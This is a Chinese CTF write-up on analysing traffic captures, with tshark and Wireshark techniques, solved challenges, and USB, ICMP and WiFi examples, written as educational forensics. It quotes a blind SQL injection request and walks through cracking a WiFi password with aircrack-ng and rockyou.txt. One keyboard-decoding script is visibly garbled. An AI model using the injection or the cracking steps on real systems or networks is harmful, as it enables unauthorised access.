CTF流量包题目总结

admin 2022年4月20日03:32:37SecIN安全技术社区 CTF专场CTF流量包题目总结已关闭评论82 views24421字阅读81分24秒阅读模式

总的来说有以下几个步骤

总体把握
协议分级
端点统计
过滤赛选
过滤语法
Host,Protocol,contains,特征值
发现异常
特殊字符串
协议某字段
flag 位于服务器中
数据提取
字符串取
文件提取

总的来说比赛中的流量分析可以概括为以下三个方向:

流量包修复
协议分析
数据提取

流量分析使用的协议:

常见的有TCP UDP HTTP TLS HTTPS USB DNS WIFI ICMP ARP(将IP地址转换为MAC地址)

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流量包修复

修复地址:https://f00l.de/hacking/pcapfix.php

修复软件:链接:https://pan.baidu.com/s/138c9sAfTLml-z0cziez3Wg?pwd=1234
提取码:1234

tshark

什么是tshark?****

**tshark 作为 wireshark 的命令行版, 高效快捷是它的优点, 配合其余命令行工具 (awk,grep) 等灵活使用, 可以快速定位, 提取数据从而省去了繁杂的脚本编写。

工具地址

windows的wireshark自带

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kali自带

tshark使用

tshark -r file -T fields —Y 指定过滤器 -e 提取的内容 > 指定输出的附件

-Y指定过滤器的意思是,比如我们只想提取http协议的包,那就用-Y "http"就可以了

-e就是我们要提取的内容是啥

这里拿提取USB协议的内容举例

比如我们想要提取usbdata部分,找到有data的包

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右击-作为过滤器应用-选中

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左上角会出现

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所以我们要提取每个数据包的内容就为 usb.capdata

tshark -r key.pcapng -T fields -e usb.capdata

提取之后会发现数据里有大量的换行符,可以使用(当然这是linux命令只能应用于linux)

tshark -r key.pcapng -T fields -e usb.capdata | sed '/^\s*$/d'

wireshark使用

追踪流

可以使用追踪流的功能查看数据包的详细数据

右击数据包-追踪流

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过滤器

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左上角的应用过滤器,可以直接在上面输入想要过滤的内容,比如只想看http的包,那么直接输入http

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如果想过滤的内容不知道名字,可以使用右击-作为过滤器应用-选中,左上角会直接出现。

协议分级

可以通过查看协议分级,实现对存在协议的一个总体把控统计-协议分级

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conversations

发生于一特定端点的 IP 间的所有流量.统计-conversations

导出对象

如果发现流量包传输了什么文件,可以使用导出对象-HTTP(常见)

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常见题型总结

flag写在数据流里

经验总结

以前的简单的流量分析,会将flag利用base加密等直接放在数据包里,现在这种题目的flag一般就是按规律排列成一列存放在某个包,一般是udp协议。

例题:Bytesctf2021 frequently

此题目将flag的后半部分写在了udp的第一个包

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例题:春秋杯-helloshark

bmp图片尾藏了一个压缩包,存在一个密码在图片中.txt

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zsteg -a 2-3.bmp

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解密得到pcapng追踪tcp流发现flag(蓝色||$前的字符)

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flag{a4e0a418-fced-4b2d-9d76-fdc9053d69a1}

纯流量分析

经验总结

我把不依赖任何附件的流量包题目称为纯流量分析,这类题目一般出现在大型比赛,传输方式比较新颖。这类题目就是依靠各个协议传输的信息相互结合,依靠出题人留下的线索解出题目。例如2021BytesCTF frequently和2021深育杯flow hunter

例题

2021Bytesctf frequently

先看的tcp的流,没发现什么东西,然后开始看UDP,在UDP的第一个流发现

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得到

se1f_wIth_m1sc^_^}

然后一直往后看,在第68个流发现png的base64加密后的数据

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base64解密一下发现

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继续往后看发现多个一样的数据,传输图片无疑了。

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当时解题时候直接依据这个提取了这部分数据,包括重复的包还有多的包等等(体现了对过滤语句的不熟练)

通过观察可以发现这部分数据的源地址和目的地址都是相同的可以先通过这个过滤

ip.src==10.2.173.238 and ip.dst==8.8.8.8

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这样其实能提取大部分的数据包了,但是往下翻能发现。

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比赛的时候一并提取了这部分数据,最后发现图片不能显示,所以这部分数据显然不属于图片(看了wp之后瞎bb),所以要再通过过滤器过滤这部分数据,通过观察发现原来的属于png图片的包的长度是一定的。它们的dns.qry.name的长度也是一致的。

所以过滤出这部分数据有两种方式

通过观察发现这部分包的长度都为50

udp.length == 50 and ip.src == 10.2.173.238 and ip.dst==8.8.8.8

或者通过包的名字的长度 dns.qry.name.len

ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==24

通过tshark提取数据,-Y指定过滤器内容,-e指定输出内容

tshark -r .\frequently.pcap -T fields -Y "udp.length == 50 and ip.src == 10.2.173.238 and ip.dst==8.8.8.8" -e dns.qry.name

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将内容输出到txt里

tshark -r .\frequently.pcap -T fields -Y "udp.length == 50 and ip.src == 10.2.173.238 and ip.dst==8.8.8.8" -e dns.qry.name > fre.txt

用winodws终端这样输出的话内容为gbk的方式(可以直接粘贴),所以可以用kali终端输出到txt。

这样提取出来的数据转图片还是有问题的,仔细看过滤出来的包

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这两个包的dns.id的值相同,所以是同一个包,要对这些包的重复数据再进行一次过滤,参考mochu师傅的脚本

```
from base64 import *

with open('dns.txt', 'r') as f:
lines = f.readlines()

print(lines)

sorted_lines = sorted(set(lines), key=lines.index)

print(sorted_lines)

base64_data = ''
for line in sorted_lines:
    base64_data += line[:10]

with open('flag.png', 'wb') as f1:
    f1.write(b64decode(base64_data))

print(base64_data)
```

这里使用了set来删除重复的数据。得到

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但是这张图片没有给我们任何信息,想到过滤的时候还漏掉了一部分数据

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类似这个包的名字长度为15的数据,用包的名字长度再过滤下

dns.qry.name.len==15 and ip.src == 10.2.173.238 and ip.dst==8.8.8.8

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然后我们需要做的就是提取这部分数据,里面还是有重复的数据,需要python去重

import re
with open('bin_data.txt','r') as f:
   strings = f.readlines()
   sorted_list = sorted(set(strings), key=strings.index)
   flagstr = ''
   for i in sorted_list:
       # print(type(i[0]))
       
       if i[0] == 'o':
           flagstr += '0'
       else:
           flagstr += '1'
   # print(flagstr)
print(len(flagstr)/8)
dd = re.findall(r'.{8}',flagstr)
print(dd)
flag = ''
for i in dd:
   flag += chr(int(i,2))
print(flag)

The first part of flag: ByteCTF{^_^enJ0y&y0ur

合起来得到

ByteCTF{^_^enJ0y&y0urse1f_wIth_m1sc^_^}

2021深育杯 flow hunter

查看各个协议可以发现,存在很多的dns协议,单看这些dns协议是看不出什么信息的。

查看出现最多的tcp流,能发现4771条tcp流,是在进行fuzz,基本上前面所有的包都是404,既然前面都是404那其实可以倒着看。能看到这边是传了一个secret参数,

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secret?5=flog{becareful_rainbow_bubble}

前期在进行信息收集时能发现这个reinbow_bunbble其实是dns解析域名的一部分

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所以考点可能出现在dns协议,并且出现在部分域名为rainbow_bunbble的包里通过观察可以发现,部分域名为rainbow_bunbble的包的目的端口为53

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所以可以通过这个特点来过滤包

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这样包其实就分成了两部分,一部分是域名一样的,另一部分是红框里框出来的,可以发现内容正好为png的文件头,89504e47

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现在要做的就是提取这部分数据包的单独这个字符了因为我们没法把多余的包给过滤掉,所以只能先提取出来。

所以提取的思路就是,要提取的内容为dns.qry.name,条件就是目的端口为53也就是 udp.dst==53,所以tshark语句为

tshark -r wireshark.pcap -T fields -e dns.qry.name -Y 'udp.dstport==53' > data.txt将多余的数据删掉

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提取一下得到

```
txt = open('data.txt','r').read()
txt = txt.replace('43.9.227.10.in-addr.arpa','')
txt = txt.split('\n')
res = ''
for i in txt:
if i == '':
pass
else:
res += str(i[-16])

print(res)
```

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010保存打开

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不知道为啥少一位字符,,,。正确的十六进制(等待一个好兄弟告诉我为啥错了)89504E470D0A1A0A0000000D494844520000005400000054010300000026A5828200000006504C5445FFFFFF00000055C2D37E0000000174524E530040E6D866000000097048597300000EC400000EC401952B0E1B0000006E494441542891A592D10940210C03030EE048AEEE481D40C84B6D79031829E5BE0E13C599BB073019B9C9B098DC2316A0B1583669476084C572EA56982CFF3BC792B69D06ABEA3A0726AF6CDEDFF366ECCE1D263263391DDEAABD331AACCEF33BDD1774F854BAAEFD9DF99F70F8035E0ADDD615BC9DA70000000049454E44AE426082

网站扫码https://zxing.org/w/decode(扫一下官网wp的**

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ecb_pkcs7这个秘钥正好是 AES的ECB-pkcs7-256模式,

所以就是提示我们要进行AES解密了密文为4766流-4770流合起来,url解密得到

+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保存为sslkey.log导入

CTF流量包题目总结

CTF流量包题目总结

利用流量包传输图片、压缩包等

经验总结

这类题目我一般不把他们称为流量包,因为它们只是把流量包当做一个载体,真正要考察的还是流量传输的内容。这类题目有个坑点是在保存数据时要选择保存原始数据(也就是保存为16进制数据),这样才能将文件的不可见字符保存出来。

例题

攻防世界-Wireshark

在第六个流追踪流得到png

CTF流量包题目总结

保存图片后发现CRC报错,修改高度得到一个key

CTF流量包题目总结

57pmYywt

在第十个流传输了一张png,

CTF流量包题目总结

在第十三个流发现同样的图片

CTF流量包题目总结

一开始以为是lsb隐写加密,然后解密不成功,foremost一下流量包得到

CTF流量包题目总结

虽然是一个不完整的html但是给了我们提示,搜索一下得到

CTF流量包题目总结

其实在一开始的包里面也能发现是访问了这个网站,然后使用网站解密第二张png得到flag

CTF流量包题目总结

十六进制转字符解密下得到flag

44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D

SQL注入流量分析

经验总结

sql注入的流量包一般是一个完整的注入过程,flag存储在某个字段里最后都有一个查询的过程,要么是时间盲注,要么是布尔盲注。如果是时间盲注就根据延时来判断flag字符,布尔盲注则根据返回值是否为真来判断。这类题目很简单,在现在大型CTF比赛已经看不到了,做这类题目只需了解sql注入基础就可轻松解出。

例题

buuctf-misc-sqltest

直接找到查询flag的部分,显示在最后

CTF流量包题目总结

前面这个包是在查询flag的长度,后面开始逐步查询flag,分析一下sql语句

GET /index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>100 HTTP/1.1\r\n

通过查看后面的几个包发现,这里是用了二分法进行查询

CTF流量包题目总结

这里发了三个包,第一个是>101,返回为真,后两个都是>102为假,所以flag的第一位的ascii值就是102,后面就进行第2位flag的注入,所以102就是flag的第一位字符,从这里可以总结出经验就是,在切换查询第几位的前一个包的ascii码值就是flag的值。

根据规律得出flag的ascii码值,转字符即可

```
102
108
97
103
123
52
55
101
100
98
56
51
48
48
101
100
53
102
57
98
50
56
102
99
53
52
98
48
100
48
57
101
99
100
101
102
55
125

```

USB流量

经验总结

常见的就是键盘鼠标流量,曾经在西湖论剑还出过手柄的流量。
遇到USB流量题目首先根据流量特点,要判断是键盘流量还是鼠标流量或者是其他的USB流量,鼠标流量可以配合gnuplot来进行画图

键盘流量

键盘流量长度一般是八个字节
第1个字节的作用主要是判断是否按下Shift,Alt,Control等键
第2个字节是保留位
第3~8个字节是普通按键,但击键信息集中在第 3 个字节。(如果遇到
多个按键一起按的情况,这个时候3~8字节可能会被利用起来。)

鼠标流量

每一个数据包的数据区有四个字节(一般情况下)
第一个字节代表按键,
当取 0x00 时,代表没有按键
当取 0x01 时,代表按键为左键,
当取 0x02 时,代表按键为右键。
第二个字节可以看成是一个 signed byte 类型,其最高位为符号位,当这个值为正(小
于127)时,代表鼠标水平右移多少像素,为负(补码负数,大于127小于255)时,代
表水平左移多少像素。
第三个字节与第二字节类似,代表垂直上下移动的偏移。
第四个字节是拓展字节,代表滚轮数据
0 – 没有滚轮运动 ;1 – 垂直向上滚动一下 ;0xFF – 垂直向下滚动一下
2 – 水平滚动右键一次 ;0xFE – 水平滚动左键单击一下

键盘流量脚本(取自盖乐希师傅博客)

```
normalKeys = {
       "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
       "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
        "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
         "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
          "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
           "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
            "22":"5", "23":"6","24":"7","25":"8","26":"9",
            "27":"0","28":"","29":"","2a":"", "2b":"\t",
            "2c":"","2d":"-","2e":"=","2f":"[","30":"]","31":"\",
            "32":"","33":";","34":"'","35":"","36":",","37":".",
            "38":"/","39":"","3a":"","3b":"", "3c":"","3d":"",
            "3e":"","3f":"","40":"","41":"","42":"","43":"",
            "44":"","45":""}
shiftKeys = {
       "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
        "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
         "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
          "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
           "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
            "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
             "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
             "28":"","29":"","2a":"", "2b":"\t","2c":"",
             "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"","33":"\"",
             "34":":","35":"","36":"<","37":">","38":"?","39":"","3a":"",
             "3b":"", "3c":"","3d":"","3e":"","3f":"","40":"",
             "41":"","42":"","43":"","44":"","45":""}
output = []
keys = open('filebbb.txt')
for line in keys:
   try:
       if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
           continue
       if line[6:8] in normalKeys.keys():
           output += [[normalKeys

]],[shiftKeys
]]]
=='2']
       else:
           output += ['[unknown]']
   except:
       pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
   try:
       a=output.index('')
       del output[a]
       del output[a-1]
   except:
       pass

for i in range(len(output)):
   try:
       if output[i]=="":
           flag+=1
           output.pop(i)
       if flag==2:
           flag=0
       if flag!=0:
           output[i]=output[i].upper()
   except:
       pass

print ('output :' + "".join(output))
```

鼠标流量脚本

```

!/usr/bin/env python

coding:utf-8

import sys
import os
import numpy as np
import matplotlib.pyplot as plt

mousePositionX = 0
mousePositionY = 0

X = []
Y = []

DataFileName = "usb.dat"
data = []

def main():
   global mousePositionX
   global mousePositionY
   # check argv
   if len(sys.argv) != 3:
       print "Usage : "
       print "       python UsbMiceHacker.py data.pcap [LEFT|RIGHT|MOVE|ALL]"
       print "Tips : "
       print "       To use this python script , you must install the numpy,matplotlib first."
       print "       You can use sudo pip install matplotlib numpy to install it"
       print "Author : "
       print "       WangYihang wangyihanger@gmail.com"
       print "       If you have any questions , please contact me by email."
       print "       Thank you for using."
       exit(1)

# get argv
   pcapFilePath = sys.argv[1]
   action = sys.argv[2]

if action != "LEFT" and action != "ALL" and action != "RIGHT" and action != "MOVE":
       action = "LEFT"

# get data of pcap
   command = "tshark -r %s -T fields -e usb.capdata > %s" % (
       pcapFilePath, DataFileName)
   print command
   os.system(command)

# read data
   with open(DataFileName, "r") as f:
       for line in f:
           data.append(line[0:-1])

# handle move
   for i in data:
       Bytes = i.split(":")
       if len(Bytes) == 8:
           horizontal = 2  # -
           vertical = 4  # |
       elif len(Bytes) == 4:
           horizontal = 1  # -
           vertical = 2  # |
       else:
           continue
       offsetX = int(Bytes[horizontal], 16)
       offsetY = int(Bytes[vertical], 16)
       if offsetX > 127:
           offsetX -= 256
       if offsetY > 127:
           offsetY -= 256
       mousePositionX += offsetX
       mousePositionY += offsetY
       if Bytes[0] == "01":
           # print "[+] Left butten."
           if action == "LEFT":
               # draw point to the image panel
               X.append(mousePositionX)
               Y.append(-mousePositionY)
       elif Bytes[0] == "02":
           # print "[+] Right Butten."
           if action == "RIGHT":
               # draw point to the image panel
               X.append(mousePositionX)
               Y.append(-mousePositionY)
       elif Bytes[0] == "00":
           # print "[+] Move."
           if action == "MOVE":
               # draw point to the image panel
               X.append(mousePositionX)
               Y.append(-mousePositionY)
       else:
           # print "[-] Known operate."
           pass
       if action == "ALL":
           # draw point to the image panel
           X.append(mousePositionX)
           Y.append(-mousePositionY)

fig = plt.figure()
   ax1 = fig.add_subplot(111)

ax1.set_title('[%s]-[%s] Author : WangYihang' % (pcapFilePath, action))
   ax1.scatter(X, Y, c='r', marker='o')
   plt.show()

# clean temp data
   os.system("rm ./%s" % (DataFileName))

if name == "main":
   main()

```

ICMP

经验总结

```
做流量包题目一般不会首先分析ICMP的包,当分析其他协议的数据包没有信息时,可以查看是不是利用ICMP隐藏了信息。

ICMP的数据包隐写一般也很有特点,就是传输HTML数据,在十六进制区域查看即可。(传输的可以是单个flag字符,加密的字符串的一部分,明文数据)

```

例题

[BSidesSF2019]table-tennis

通过查看协议分级,可以看到协议TCP站大部分,一点点IGMP协议,2.6的ICMP协议

先看看什么事IGMP,ICMP

CTF流量包题目总结

查看协议分级

CTF流量包题目总结

通过对tcp包的分析,包括追踪流,导出HTTP流都没有发现有用的信息。

然后查看icmp协议

CTF流量包题目总结

CTF流量包题目总结

在每个icmp包的末尾发现一些html格式数据(正常来说是看不到这些数据的),然后往下查看包能看到里面隐藏了base64的数据,尝试把这些数据提取出来

```
from scapy.all import *

packets = rdpcap('1.pcapng')    #rdpcap()读取pcapng文件
for packet in packets:            #遍历每一个数据包
   if packet.haslayer(ICMP):            #haslayer()判断数据包的类型,此处为ICMP
       if packet[ICMP].type == 0:       #每一个ICMP的type值为0的包
           print packet[ICMP].load[-8:]      #打印每个数据包的最后8位,因为前面数据是重复的
```

flag{JustAS0ngAb0utP1ngP0ng}

WIFI

经验总结

wifi流量如下图,协议特点很明显,当遇到此类题目时。首先要考虑的是能不能通过题目的其他附件找到一个key,用于解密wifi流量。如果找不到key只能考虑字典爆破了,一般爆破题目的秘钥都比较简洁,如果长时间没有爆破出key就要考虑是不是思路的问题了。

例题

CTF流量包题目总结

wifi流量是加密的,因此在ctf题目中常见的要获取wifi密码或者是对wifi密码进行爆破

利用aircrack-ng爆破wifi密码

获取无线密码字典,字典位于Linux /usr/share/wordlists/

CTF流量包题目总结

将其解压即可使用 gzip -d rockyou.txt.gz

CTF流量包题目总结

aircrack-ng的使用方法

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [MAC] [capfile]

-w 字典地址
-b mac地址
capfile pcap文件
```

获取mac地址

aircrack-ng cacosmia.cap

CTF流量包题目总结

进行爆破

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 1A:D7:17:98:D0:51 cacosmia.cap

CTF流量包题目总结

进行解密

airdecap-ng [capfile] -e [ESSID] -p

输入密码查看隐藏内容:

获取ESSID

CTF流量包题目总结

airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678

CTF流量包题目总结

然后会得到一个新的pcap,打开会发现包变得不一样了

